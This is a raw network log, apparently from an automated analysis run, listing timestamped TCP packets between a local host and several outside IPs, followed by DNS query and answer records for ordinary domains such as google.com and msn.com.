Nov 17, 2024 12:35:46.719700098 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.719716072 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.720113039 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.720134020 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.720144033 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.720170975 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.720186949 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.760481119 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.760493040 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.760504007 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.760555983 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.760593891 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.822572947 CET	443	49955	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.823118925 CET	49955	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.823132038 CET	443	49955	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.823539019 CET	49955	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.823545933 CET	443	49955	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.836853981 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.836867094 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.836878061 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.836899042 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.836909056 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.836913109 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.836920977 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.836935043 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.836940050 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.836963892 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.836980104 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.837006092 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.837047100 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.837790966 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.837832928 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.837838888 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.837856054 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.837872982 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.837902069 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.837905884 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.837913036 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.837941885 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.837996006 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.878287077 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.878300905 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.878312111 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.878336906 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.878354073 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.951760054 CET	443	49955	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.951819897 CET	443	49955	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.951997042 CET	49955	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.952119112 CET	49955	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.952131987 CET	443	49955	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.952157974 CET	49955	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.952164888 CET	443	49955	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.954487085 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.954500914 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.954551935 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.954597950 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.954638958 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.954651117 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.954663038 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.954703093 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.954703093 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.954731941 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.954742908 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.954755068 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.954766035 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.954777002 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.954797029 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.955545902 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.955593109 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.955604076 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.955616951 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.955637932 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.955662012 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.955678940 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.955867052 CET	49961	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.955883980 CET	443	49961	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.955945015 CET	49961	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.956082106 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.956094027 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.956104994 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.956121922 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.956139088 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.956149101 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.956758976 CET	49961	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.956768036 CET	443	49961	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.996416092 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.996459961 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.996471882 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.996535063 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:47.042563915 CET	443	49956	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:47.042855024 CET	49956	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:47.042865992 CET	443	49956	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:47.043350935 CET	443	49956	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:47.043993950 CET	49956	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:47.044070959 CET	443	49956	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:47.044193983 CET	49956	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:47.072956085 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.072971106 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.072983980 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.073023081 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:47.073035002 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.073056936 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:47.073079109 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.073081970 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:47.073127985 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:47.073363066 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.073374033 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.073385000 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.073410988 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:47.073430061 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:47.073745966 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.073790073 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.073796034 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:47.073801041 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.073829889 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:47.073846102 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:47.073870897 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.073883057 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.073920965 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:47.074434996 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.074449062 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.074460030 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.074487925 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:47.074506998 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:47.087340117 CET	443	49956	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:47.090631962 CET	49962	443	192.168.2.5	142.251.116.132
Nov 17, 2024 12:35:47.090687037 CET	443	49962	142.251.116.132	192.168.2.5
Nov 17, 2024 12:35:47.090761900 CET	49962	443	192.168.2.5	142.251.116.132
Nov 17, 2024 12:35:47.090930939 CET	49962	443	192.168.2.5	142.251.116.132
Nov 17, 2024 12:35:47.090960979 CET	443	49962	142.251.116.132	192.168.2.5
Nov 17, 2024 12:35:47.113935947 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.113946915 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.113956928 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.113974094 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.113991976 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:47.114023924 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:47.170798063 CET	443	49956	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:47.170823097 CET	443	49956	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:47.170888901 CET	443	49956	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:47.170891047 CET	49956	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:47.170938015 CET	49956	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:47.171706915 CET	49956	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:47.171720028 CET	443	49956	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:47.177828074 CET	49963	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:47.177845001 CET	443	49963	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:47.177931070 CET	49963	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:47.178128004 CET	49963	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:47.178139925 CET	443	49963	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:47.184427977 CET	443	49957	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:47.184910059 CET	49957	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:47.184962988 CET	443	49957	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:47.185374975 CET	49957	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:47.185391903 CET	443	49957	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:47.190637112 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.190697908 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.190700054 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:47.190741062 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:47.190795898 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.190871954 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.190876007 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:47.190885067 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.190898895 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.190908909 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:47.190924883 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.190941095 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:47.190973997 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:47.191433907 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.191498041 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:47.191504002 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.191517115 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.191543102 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:47.191570044 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:47.191764116 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.191809893 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:47.191827059 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.191840887 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.191854954 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.191871881 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:47.191888094 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:47.191898108 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:47.192332029 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.192342997 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.192385912 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:47.231734037 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.231807947 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.231818914 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:47.231842041 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.231853008 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:47.231880903 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.231885910 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:47.231925011 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:47.273260117 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.273308992 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:47.273338079 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:47.273367882 CET	49948	80	192.168.2.5	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 17, 2024 12:35:15.918226004 CET	192.168.2.5	1.1.1.1	0x60f2	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:15.918441057 CET	192.168.2.5	1.1.1.1	0x3e26	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 17, 2024 12:35:26.842905045 CET	192.168.2.5	1.1.1.1	0xbb5d	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:26.843115091 CET	192.168.2.5	1.1.1.1	0x37d5	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 17, 2024 12:35:28.696368933 CET	192.168.2.5	1.1.1.1	0xb95c	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:28.696830988 CET	192.168.2.5	1.1.1.1	0xb08d	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 17, 2024 12:35:29.303622007 CET	192.168.2.5	1.1.1.1	0x9b60	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:29.304043055 CET	192.168.2.5	1.1.1.1	0xe797	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 17, 2024 12:35:29.312051058 CET	192.168.2.5	1.1.1.1	0xa139	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:29.312232018 CET	192.168.2.5	1.1.1.1	0x1c89	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 17, 2024 12:35:29.322001934 CET	192.168.2.5	1.1.1.1	0xd0f5	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:29.322197914 CET	192.168.2.5	1.1.1.1	0xc552	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 17, 2024 12:35:29.328378916 CET	192.168.2.5	1.1.1.1	0x23af	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:29.328505993 CET	192.168.2.5	1.1.1.1	0xea61	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 17, 2024 12:35:31.740093946 CET	192.168.2.5	1.1.1.1	0x21f4	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:31.740438938 CET	192.168.2.5	1.1.1.1	0xf43c	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 17, 2024 12:35:31.742392063 CET	192.168.2.5	1.1.1.1	0x81dd	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:31.742650986 CET	192.168.2.5	1.1.1.1	0x1f6b	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 17, 2024 12:35:31.884310961 CET	192.168.2.5	1.1.1.1	0x4b9d	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:31.884452105 CET	192.168.2.5	1.1.1.1	0x15e7	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 17, 2024 12:35:15.925035954 CET	1.1.1.1	192.168.2.5	0x60f2	No error (0)	www.google.com		142.250.74.196	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:15.925688028 CET	1.1.1.1	192.168.2.5	0x3e26	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 17, 2024 12:35:26.921561956 CET	1.1.1.1	192.168.2.5	0x37d5	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:26.921715975 CET	1.1.1.1	192.168.2.5	0x1783	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:26.921715975 CET	1.1.1.1	192.168.2.5	0x1783	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:26.921971083 CET	1.1.1.1	192.168.2.5	0xbb5d	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:26.921999931 CET	1.1.1.1	192.168.2.5	0xe487	No error (0)	svc.ha-teams.office.com	svc.ms-acdc-teams.office.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:26.922467947 CET	1.1.1.1	192.168.2.5	0xb733	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:28.703700066 CET	1.1.1.1	192.168.2.5	0xb95c	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:28.704054117 CET	1.1.1.1	192.168.2.5	0xb08d	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:29.310338020 CET	1.1.1.1	192.168.2.5	0x9b60	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:29.310338020 CET	1.1.1.1	192.168.2.5	0x9b60	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:29.310338020 CET	1.1.1.1	192.168.2.5	0x9b60	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:29.310338020 CET	1.1.1.1	192.168.2.5	0x9b60	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:29.319205999 CET	1.1.1.1	192.168.2.5	0xa139	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:29.319664001 CET	1.1.1.1	192.168.2.5	0x1c89	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:29.329359055 CET	1.1.1.1	192.168.2.5	0xc552	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:29.330492973 CET	1.1.1.1	192.168.2.5	0xd0f5	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:29.335592031 CET	1.1.1.1	192.168.2.5	0x23af	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:29.335910082 CET	1.1.1.1	192.168.2.5	0xea61	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:30.745704889 CET	1.1.1.1	192.168.2.5	0xc4bf	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:31.712903023 CET	1.1.1.1	192.168.2.5	0xc546	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:31.712903023 CET	1.1.1.1	192.168.2.5	0xc546	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:31.747100115 CET	1.1.1.1	192.168.2.5	0x21f4	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:31.747100115 CET	1.1.1.1	192.168.2.5	0x21f4	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:31.747420073 CET	1.1.1.1	192.168.2.5	0xf43c	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 17, 2024 12:35:31.749155998 CET	1.1.1.1	192.168.2.5	0x81dd	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:31.749155998 CET	1.1.1.1	192.168.2.5	0x81dd	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:31.749386072 CET	1.1.1.1	192.168.2.5	0x1f6b	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 17, 2024 12:35:31.876894951 CET	1.1.1.1	192.168.2.5	0x796a	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:31.877016068 CET	1.1.1.1	192.168.2.5	0x63e1	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:31.877016068 CET	1.1.1.1	192.168.2.5	0x63e1	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:31.891158104 CET	1.1.1.1	192.168.2.5	0x15e7	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 17, 2024 12:35:31.891169071 CET	1.1.1.1	192.168.2.5	0x4b9d	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:31.891169071 CET	1.1.1.1	192.168.2.5	0x4b9d	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:31.955073118 CET	1.1.1.1	192.168.2.5	0x33e9	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:31.955073118 CET	1.1.1.1	192.168.2.5	0x33e9	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:32.901984930 CET	1.1.1.1	192.168.2.5	0xc565	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:32.901984930 CET	1.1.1.1	192.168.2.5	0xc565	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:34.926342964 CET	1.1.1.1	192.168.2.5	0x6de8	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:34.926342964 CET	1.1.1.1	192.168.2.5	0x6de8	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:35.932605028 CET	1.1.1.1	192.168.2.5	0x6de8	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:35.932605028 CET	1.1.1.1	192.168.2.5	0x6de8	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:36.932961941 CET	1.1.1.1	192.168.2.5	0x6de8	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:36.932961941 CET	1.1.1.1	192.168.2.5	0x6de8	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:38.947443962 CET	1.1.1.1	192.168.2.5	0x6de8	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:38.947443962 CET	1.1.1.1	192.168.2.5	0x6de8	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
